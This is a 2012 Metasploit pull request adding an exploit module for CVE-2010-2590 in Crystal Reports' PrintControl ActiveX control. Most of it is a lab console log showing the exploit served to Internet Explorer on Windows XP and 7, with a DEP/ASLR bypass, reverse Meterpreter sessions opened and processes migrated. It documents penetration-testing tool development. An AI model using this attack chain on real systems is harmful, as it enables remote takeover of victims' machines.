rapid7/metasploit-framework — pull request #1175 by jvazquez-r7 (2012-12-14 11:52:33+00:00)
Title: Added module for CVE-2010-2590

Tested successfully with Crystal Reports 2008 / PrintControl.dll 12.0.0.683 on:

* Windows xp sp3 => ie6, 7, 8
* Windows 7 => ie8

DEP/ASLR bypass is accomplished through msvcr71.dll, included with the vulnerable activex packet.

msf exploit(crystal_reports_printcontrol) > rexploit
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.129:4444

[*] Using URL: http://0.0.0.0:8080/IXWArTzszXQO
[*] Local IP: http://192.168.1.129:8080/IXWArTzszXQO
[*] Server started.
msf exploit(crystal_reports_printcontrol) > [*] 192.168.1.137 crystal_reports_printcontrol - Requesting: /IXWArTzszXQO
[*] 192.168.1.137 crystal_reports_printcontrol - Target selected as: IE 8 on Windows 7
[*] 192.168.1.137 crystal_reports_printcontrol - Using JRE ROP
[*] 192.168.1.137 crystal_reports_printcontrol - Sending HTML...
[*] Sending stage (752128 bytes) to 192.168.1.137
[*] Meterpreter session 1 opened (192.168.1.129:4444 -> 192.168.1.137:49654) at 2012-12-14 12:44:02 +0100
[*] Session ID 1 (192.168.1.129:4444 -> 192.168.1.137:49654) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (1648)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2484
[+] Successfully migrated to process
[*] 192.168.1.137 - Meterpreter session 1 closed. Reason: Died
[*] 192.168.1.147 crystal_reports_printcontrol - Requesting: /IXWArTzszXQO
[*] 192.168.1.147 crystal_reports_printcontrol - Target selected as: IE 6 on Windows XP SP3
[*] 192.168.1.147 crystal_reports_printcontrol - Sending HTML...
[*] Sending stage (752128 bytes) to 192.168.1.147
[*] Meterpreter session 2 opened (192.168.1.129:4444 -> 192.168.1.147:1626) at 2012-12-14 12:45:10 +0100
[*] Session ID 2 (192.168.1.129:4444 -> 192.168.1.147:1626) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: IEXPLORE.EXE (3916)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3704
[+] Successfully migrated to process
[*] 192.168.1.147 - Meterpreter session 2 closed. Reason: Died
[*] 192.168.1.147 crystal_reports_printcontrol - Requesting: /IXWArTzszXQO
[*] 192.168.1.147 crystal_reports_printcontrol - Target selected as: IE 8 on Windows XP SP3
[*] 192.168.1.147 crystal_reports_printcontrol - Using JRE ROP
[*] 192.168.1.147 crystal_reports_printcontrol - Sending HTML...
[*] Sending stage (752128 bytes) to 192.168.1.147
[*] Meterpreter session 3 opened (192.168.1.129:4444 -> 192.168.1.147:1427) at 2012-12-14 12:46:07 +0100
[*] Session ID 3 (192.168.1.129:4444 -> 192.168.1.147:1427) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (3052)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2016
[+] Successfully migrated to process
[*] 192.168.1.147 - Meterpreter session 3 closed. Reason: Died
[*] 192.168.1.147 crystal_reports_printcontrol - Requesting: /IXWArTzszXQO
[*] 192.168.1.147 crystal_reports_printcontrol - Target selected as: IE 7 on Windows XP SP3
[*] 192.168.1.147 crystal_reports_printcontrol - Sending HTML...
[*] Sending stage (752128 bytes) to 192.168.1.147
[*] Meterpreter session 4 opened (192.168.1.129:4444 -> 192.168.1.147:1069) at 2012-12-14 12:47:12 +0100
[*] Session ID 4 (192.168.1.129:4444 -> 192.168.1.147:1069) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (120)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 264
[+] Successfully migrated to process